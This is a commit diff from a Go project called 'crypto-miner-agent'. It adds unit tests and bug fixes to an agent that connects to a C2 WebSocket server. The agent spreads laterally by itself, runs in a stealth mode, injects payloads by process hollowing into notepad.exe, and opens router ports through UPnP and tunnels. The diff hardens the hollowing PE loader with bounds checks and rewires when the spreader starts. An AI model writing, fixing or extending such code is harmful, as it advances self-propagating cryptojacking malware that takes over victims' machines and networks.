Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
This commit is contained in:
@@ -44,6 +44,10 @@ type AgentClient struct {
|
||||
// connected is true while a C2 WebSocket session is active.
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -252,6 +256,20 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
}
|
||||
@@ -549,6 +567,9 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
return "", err
|
||||
}
|
||||
lines := strings.Split(string(data), "\n")
|
||||
if len(lines) > 0 && lines[len(lines)-1] == "" {
|
||||
lines = lines[:len(lines)-1]
|
||||
}
|
||||
if len(lines) > tailLines {
|
||||
lines = lines[len(lines)-tailLines:]
|
||||
}
|
||||
|
||||
129
agent/client/client_test.go
Normal file
129
agent/client/client_test.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestBuildServerURLListDedupes(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ServerURL: "https://primary.example",
|
||||
BackupServerURLs: []string{"https://backup.example", "https://primary.example", " "},
|
||||
}}
|
||||
urls := buildServerURLList(cfg)
|
||||
if len(urls) != 2 {
|
||||
t.Fatalf("expected 2 urls, got %v", urls)
|
||||
}
|
||||
if urls[0] != "https://primary.example" || urls[1] != "https://backup.example" {
|
||||
t.Fatalf("unexpected order: %v", urls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildServerURLListEmptyFallback(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{}
|
||||
urls := buildServerURLList(cfg)
|
||||
if len(urls) != 1 || urls[0] != "" {
|
||||
t.Fatalf("expected single empty fallback, got %v", urls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildWSURL(t *testing.T) {
|
||||
cases := []struct {
|
||||
in, want string
|
||||
err bool
|
||||
}{
|
||||
{"https://hub.example/", "wss://hub.example/ws/agent", false},
|
||||
{"http://hub.example:8080", "ws://hub.example:8080/ws/agent", false},
|
||||
{"hub.example", "ws://hub.example/ws/agent", false},
|
||||
{"wss://hub.example/extra/", "wss://hub.example/extra/ws/agent", false},
|
||||
{"ftp://hub.example", "", true},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got, err := buildWSURL(tc.in)
|
||||
if tc.err {
|
||||
if err == nil {
|
||||
t.Fatalf("%q: expected error", tc.in)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", tc.in, err)
|
||||
}
|
||||
if got != tc.want {
|
||||
t.Fatalf("%q: got %q want %q", tc.in, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatCmdErr(t *testing.T) {
|
||||
got := formatCmdErr(os.ErrPermission, []byte("denied"))
|
||||
if !strings.Contains(got, "permission denied") || !strings.Contains(got, "denied") {
|
||||
t.Fatalf("unexpected: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailDisabled(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: false,
|
||||
StealthMode: true,
|
||||
}}
|
||||
_, err := readLogTail(cfg, 50)
|
||||
if err == nil || !strings.Contains(err.Error(), "logging disabled") {
|
||||
t.Fatalf("expected disabled error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailFromInstallDir(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: dir,
|
||||
InstallRelativePath: ".",
|
||||
}}
|
||||
logPath := filepath.Join(dir, "miner.log")
|
||||
content := "line1\nline2\nline3\nline4\n"
|
||||
if err := os.WriteFile(logPath, []byte(content), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := readLogTail(cfg, 2)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(got, "line3") || !strings.Contains(got, "line4") {
|
||||
t.Fatalf("expected tail lines, got %q", got)
|
||||
}
|
||||
if strings.Contains(got, "line1") {
|
||||
t.Fatal("should not include older lines beyond tail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailMissingFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: true,
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: dir,
|
||||
InstallRelativePath: ".",
|
||||
}}
|
||||
_, err := readLogTail(cfg, 10)
|
||||
if err == nil || !strings.Contains(err.Error(), "miner.log not found") {
|
||||
t.Fatalf("expected not found, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewAgentClientDefaults(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{AgentID: "agent-1"}
|
||||
c := NewAgentClient(cfg)
|
||||
if c.agentID != "agent-1" {
|
||||
t.Fatalf("agent id %q", c.agentID)
|
||||
}
|
||||
if c.mesh == nil {
|
||||
t.Fatal("mesh node should be initialized")
|
||||
}
|
||||
}
|
||||
32
agent/client/dns_config_test.go
Normal file
32
agent/client/dns_config_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseDNSJSON(t *testing.T) {
|
||||
cfg := parseDNSJSON(`{"servers":"1.1.1.1, 8.8.8.8","search":"corp.local, example.com"}`)
|
||||
wantServers := []string{"1.1.1.1", "8.8.8.8"}
|
||||
wantSearch := []string{"corp.local", "example.com"}
|
||||
if !reflect.DeepEqual(cfg.Servers, wantServers) {
|
||||
t.Fatalf("servers: %v", cfg.Servers)
|
||||
}
|
||||
if !reflect.DeepEqual(cfg.SearchDomains, wantSearch) {
|
||||
t.Fatalf("search: %v", cfg.SearchDomains)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseDNSJSONInvalid(t *testing.T) {
|
||||
cfg := parseDNSJSON(`not-json`)
|
||||
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
|
||||
t.Fatalf("invalid json should yield empty config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseDNSJSONSkipsEmptyFields(t *testing.T) {
|
||||
cfg := parseDNSJSON(`{"servers":"","search":""}`)
|
||||
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
|
||||
t.Fatalf("empty fields should be skipped: %+v", cfg)
|
||||
}
|
||||
}
|
||||
69
agent/client/listen_ports_parse_test.go
Normal file
69
agent/client/listen_ports_parse_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSplitHostPort(t *testing.T) {
|
||||
host, port, ok := splitHostPort("0.0.0.0:22")
|
||||
if !ok || host != "0.0.0.0" || port != "22" {
|
||||
t.Fatalf("ipv4: host=%q port=%q ok=%v", host, port, ok)
|
||||
}
|
||||
host, port, ok = splitHostPort("[::1]:443")
|
||||
if !ok || host != "::1" || port != "443" {
|
||||
t.Fatalf("ipv6: host=%q port=%q ok=%v", host, port, ok)
|
||||
}
|
||||
_, _, ok = splitHostPort("bad")
|
||||
if ok {
|
||||
t.Fatal("invalid addr should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSSOutput(t *testing.T) {
|
||||
raw := `State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
|
||||
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
|
||||
LISTEN 0 128 [::]:443 [::]:* users:(("nginx",pid=5678,fd=5))
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseSSOutput(r, raw)
|
||||
if len(r.Ports) != 2 {
|
||||
t.Fatalf("expected 2 ports, got %d: %+v", len(r.Ports), r.Ports)
|
||||
}
|
||||
if r.Ports[0].Port != 22 || r.Ports[0].Process != "sshd" || r.Ports[0].PID != 1234 {
|
||||
t.Fatalf("port 22: %+v", r.Ports[0])
|
||||
}
|
||||
if r.Ports[1].Port != 443 || r.Ports[1].Process != "nginx" {
|
||||
t.Fatalf("port 443: %+v", r.Ports[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSSOutputDedupesPorts(t *testing.T) {
|
||||
raw := `LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1,fd=1))
|
||||
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=2,fd=2))
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseSSOutput(r, raw)
|
||||
if len(r.Ports) != 1 {
|
||||
t.Fatalf("duplicate port should dedupe, got %d", len(r.Ports))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseNetstatOutput(t *testing.T) {
|
||||
raw := `Active Internet connections (only servers)
|
||||
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
|
||||
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
|
||||
tcp6 0 0 :::8080 :::* LISTEN 5678/java
|
||||
udp 0 0 0.0.0.0:123 0.0.0.0:* 999/chronyd
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseNetstatOutput(r, raw)
|
||||
if len(r.Ports) != 2 {
|
||||
t.Fatalf("expected 2 tcp listeners, got %d: %+v", len(r.Ports), r.Ports)
|
||||
}
|
||||
if r.Ports[0].Port != 22 || r.Ports[0].PID != 1234 || r.Ports[0].Process != "sshd" {
|
||||
t.Fatalf("first: %+v", r.Ports[0])
|
||||
}
|
||||
if r.Ports[1].Port != 8080 {
|
||||
t.Fatalf("second: %+v", r.Ports[1])
|
||||
}
|
||||
}
|
||||
44
agent/client/listen_ports_test.go
Normal file
44
agent/client/listen_ports_test.go
Normal file
@@ -0,0 +1,44 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestListenPortsReportJSON(t *testing.T) {
|
||||
if got := (*ListenPortsReport)(nil).JSON(); got != `{"ports":[],"count":0}` {
|
||||
t.Fatalf("nil report: %q", got)
|
||||
}
|
||||
r := &ListenPortsReport{
|
||||
Ports: []ListenPort{{Port: 22, Addr: "0.0.0.0", Proto: "tcp", Process: "sshd", PID: 99}},
|
||||
}
|
||||
got := r.JSON()
|
||||
if !strings.Contains(got, `"count":1`) || !strings.Contains(got, `"port":22`) {
|
||||
t.Fatalf("unexpected json: %s", got)
|
||||
}
|
||||
var decoded ListenPortsReport
|
||||
if err := json.Unmarshal([]byte(got), &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Count != 1 || len(decoded.Ports) != 1 {
|
||||
t.Fatalf("decoded: %+v", decoded)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPatchStatusReportJSON(t *testing.T) {
|
||||
pending := 3
|
||||
days := 14
|
||||
reboot := true
|
||||
patch := "2026-01-01"
|
||||
r := &PatchStatusReport{
|
||||
PendingUpdates: &pending,
|
||||
LastPatchDays: &days,
|
||||
LastPatch: &patch,
|
||||
RebootPending: &reboot,
|
||||
}
|
||||
got := r.JSON()
|
||||
if !strings.Contains(got, `"pending_updates":3`) {
|
||||
t.Fatalf("unexpected: %s", got)
|
||||
}
|
||||
}
|
||||
89
agent/client/posture_windows_test.go
Normal file
89
agent/client/posture_windows_test.go
Normal file
@@ -0,0 +1,89 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestJSONBoolHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"b": true,
|
||||
"s": "true",
|
||||
"n": "1",
|
||||
"x": "false",
|
||||
}
|
||||
if v := jsonBool(m, "b"); v == nil || !*v {
|
||||
t.Fatal("bool true")
|
||||
}
|
||||
if v := jsonBool(m, "s"); v == nil || !*v {
|
||||
t.Fatal("string true")
|
||||
}
|
||||
if v := jsonBool(m, "n"); v == nil || !*v {
|
||||
t.Fatal("numeric string true")
|
||||
}
|
||||
if v := jsonBool(m, "x"); v == nil || *v {
|
||||
t.Fatal("string false")
|
||||
}
|
||||
if jsonBool(m, "missing") != nil {
|
||||
t.Fatal("missing key")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONIntHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"f": float64(42),
|
||||
"i": 7,
|
||||
"s": "99",
|
||||
"b": "nope",
|
||||
}
|
||||
if v := jsonInt(m, "f"); v == nil || *v != 42 {
|
||||
t.Fatalf("float64: %v", v)
|
||||
}
|
||||
if v := jsonInt(m, "i"); v == nil || *v != 7 {
|
||||
t.Fatalf("int: %v", v)
|
||||
}
|
||||
if v := jsonInt(m, "s"); v == nil || *v != 99 {
|
||||
t.Fatalf("string int: %v", v)
|
||||
}
|
||||
if jsonInt(m, "b") != nil {
|
||||
t.Fatal("invalid string int")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONStringHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{"ok": "value", "empty": ""}
|
||||
if v := jsonString(m, "ok"); v == nil || *v != "value" {
|
||||
t.Fatalf("string: %v", v)
|
||||
}
|
||||
if jsonString(m, "empty") != nil {
|
||||
t.Fatal("empty string omitted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONStringSliceHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"one": "defender",
|
||||
"multi": []interface{}{"a", "", "b"},
|
||||
}
|
||||
if got := jsonStringSlice(m, "one"); len(got) != 1 || got[0] != "defender" {
|
||||
t.Fatalf("single: %v", got)
|
||||
}
|
||||
if got := jsonStringSlice(m, "multi"); len(got) != 2 || got[0] != "a" || got[1] != "b" {
|
||||
t.Fatalf("multi: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONServiceSlice(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"services": []interface{}{
|
||||
map[string]interface{}{
|
||||
"name": "WinDefend",
|
||||
"status": "running",
|
||||
"start_type": "auto",
|
||||
},
|
||||
},
|
||||
}
|
||||
svcs := jsonServiceSlice(m, "services")
|
||||
if len(svcs) != 1 || svcs[0].Name != "WinDefend" || svcs[0].Status != "running" {
|
||||
t.Fatalf("services: %+v", svcs)
|
||||
}
|
||||
}
|
||||
25
agent/deploy/autospread_test.go
Normal file
25
agent/deploy/autospread_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunSpreadOnceReturnsMessage(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
||||
msg := RunSpreadOnce(cfg)
|
||||
if msg == "" {
|
||||
t.Fatal("expected non-empty status message")
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(msg), "spread") {
|
||||
t.Fatalf("unexpected message: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartAutoSpreaderNoOpWhenDisabled(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: false}}
|
||||
// Should return immediately without panic.
|
||||
StartAutoSpreader(cfg)
|
||||
}
|
||||
18
agent/deploy/hollow_test.go
Normal file
18
agent/deploy/hollow_test.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
|
||||
err := RunHollowed("C:\\Windows\\System32\\notepad.exe", []byte{0})
|
||||
if err == nil {
|
||||
t.Fatal("expected error on default build")
|
||||
}
|
||||
msg := err.Error()
|
||||
if !strings.Contains(msg, "hollowing") && !strings.Contains(msg, "not available") {
|
||||
t.Fatalf("unexpected error: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -36,10 +36,19 @@ const (
|
||||
|
||||
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||
// Need at least 8 bytes from eLFANew to read numSections (offset 6, 2 bytes).
|
||||
if uint32(len(payload)) < eLFANew+8 {
|
||||
return 0, fmt.Errorf("payload too small to read section count at eLFANew 0x%x", eLFANew)
|
||||
}
|
||||
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||
for i := uint32(0); i < uint32(numSections); i++ {
|
||||
sec := payload[sectionsBase+i*40:]
|
||||
secOff := sectionsBase + i*40
|
||||
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
|
||||
if uint32(len(payload)) < secOff+24 {
|
||||
break
|
||||
}
|
||||
sec := payload[secOff:]
|
||||
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||
@@ -81,7 +90,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
|
||||
}
|
||||
entryCount := (blkSize - 8) / 2
|
||||
for i := uint32(0); i < entryCount; i++ {
|
||||
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||
entryOff := blockOff + 8 + i*2
|
||||
// Bounds check: each reloc entry is 2 bytes.
|
||||
if entryOff+2 > uint32(len(payload)) {
|
||||
break
|
||||
}
|
||||
entry := binary.LittleEndian.Uint16(payload[entryOff:])
|
||||
relType := entry >> 12
|
||||
relOff := uint32(entry & 0x0FFF)
|
||||
|
||||
@@ -240,12 +254,22 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||
patchedNT := patched[eLFANew:]
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||
secHdrOff := sectionsStart + uint32(i)*40
|
||||
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
|
||||
if uint32(len(patchedNT)) < secHdrOff+24 {
|
||||
return fmt.Errorf("section header %d out of bounds", i)
|
||||
}
|
||||
secHdr := patchedNT[secHdrOff:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if rawSize > 0 {
|
||||
// Bounds check: source slice must be within patched buffer.
|
||||
if uint64(rawOff)+uint64(rawSize) > uint64(len(patched)) {
|
||||
return fmt.Errorf("section %d raw data [%d:%d] exceeds payload (%d bytes)",
|
||||
i, rawOff, uint64(rawOff)+uint64(rawSize), len(patched))
|
||||
}
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
|
||||
164
agent/deploy/natpunch_test.go
Normal file
164
agent/deploy/natpunch_test.go
Normal file
@@ -0,0 +1,164 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXMLEscape(t *testing.T) {
|
||||
got := xmlEscape(`a&b<c>d`)
|
||||
want := "a&b<c>d"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntSliceStr(t *testing.T) {
|
||||
got := intSliceStr([]int{22, 445, 5985})
|
||||
want := []string{"22", "445", "5985"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("len %d != %d", len(got), len(want))
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetSubnet(t *testing.T) {
|
||||
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if getSubnet("bad") != "" {
|
||||
t.Fatal("invalid ip should return empty")
|
||||
}
|
||||
if getSubnet("10.0.0.1") != "10.0.0" {
|
||||
t.Fatalf("got %q", getSubnet("10.0.0.1"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseUPnPInvalidPort(t *testing.T) {
|
||||
_, err := CloseUPnP(0)
|
||||
if err == nil || !strings.Contains(err.Error(), "external port required") {
|
||||
t.Fatalf("expected port error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURL(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<device>
|
||||
<serviceList>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
|
||||
<controlURL>/ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</serviceList>
|
||||
</device>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := srv.URL + "/ctl/IPConn"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLAbsolute(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType>
|
||||
<controlURL>http://192.168.0.1:49152/ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/desc.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != "http://192.168.0.1:49152/ctl/IPConn" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLMissingService(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<root><service><controlURL>/x</controlURL></service></root>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := resolveWANControlURL(srv.URL)
|
||||
if err == nil || !strings.Contains(err.Error(), "WANIPConnection service not found") {
|
||||
t.Fatalf("expected service error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLMissingControlURL(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<root><serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType></root>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := resolveWANControlURL(srv.URL)
|
||||
if err == nil || !strings.Contains(err.Error(), "controlURL not found") {
|
||||
t.Fatalf("expected controlURL error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpGetExternalIP(t *testing.T) {
|
||||
const soapResp = `<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:GetExternalIPAddressResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewExternalIPAddress>203.0.113.10</NewExternalIPAddress>
|
||||
</u:GetExternalIPAddressResponse>
|
||||
</s:Body>
|
||||
</s:Envelope>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
fmt.Fprint(w, soapResp)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
ip, err := upnpGetExternalIP(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ip != "203.0.113.10" {
|
||||
t.Fatalf("got %q", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpSOAPErrorResponse(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<errorCode>718</errorCode>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := upnpSOAP(srv.URL, "AddPortMapping", "<body/>")
|
||||
if err == nil || !strings.Contains(err.Error(), "AddPortMapping failed") {
|
||||
t.Fatalf("expected SOAP error, got %v", err)
|
||||
}
|
||||
}
|
||||
17
agent/deploy/tunnel_test.go
Normal file
17
agent/deploy/tunnel_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
@@ -68,10 +68,12 @@ func main() {
|
||||
}
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
// AutoSpreader is intentionally NOT started here. It is started inside
|
||||
// AgentClient.authenticate() only after the server accepts our fleet secret,
|
||||
// which verifies we are on an owned fleet before initiating lateral movement.
|
||||
deploy.StartPassiveSpreader(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
// First-run spread marker is cleared after auth succeeds (handled in client).
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
|
||||
|
||||
124
agent/main_test.go
Normal file
124
agent/main_test.go
Normal file
@@ -0,0 +1,124 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestShortIDLong(t *testing.T) {
|
||||
if got := shortID("abcdef1234567890"); got != "abcdef12" {
|
||||
t.Fatalf("shortID long = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShortIDShort(t *testing.T) {
|
||||
if got := shortID("abc"); got != "abc" {
|
||||
t.Fatalf("shortID short = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShortIDEmpty(t *testing.T) {
|
||||
if got := shortID(""); got != "pending" {
|
||||
t.Fatalf("shortID empty = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMustInstallPathUnknown(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
InstallBase: "custom",
|
||||
}}
|
||||
if got := mustInstallPath(cfg); got != "unknown" {
|
||||
t.Fatalf("mustInstallPath invalid cfg = %q, want unknown", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMustInstallPathTemp(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: "test-miner-install",
|
||||
WorkerName: "w1",
|
||||
BuildID: "build12345678",
|
||||
}}
|
||||
got := mustInstallPath(cfg)
|
||||
if got == "unknown" || !strings.Contains(got, "test-miner-install") {
|
||||
t.Fatalf("mustInstallPath temp = %q", got)
|
||||
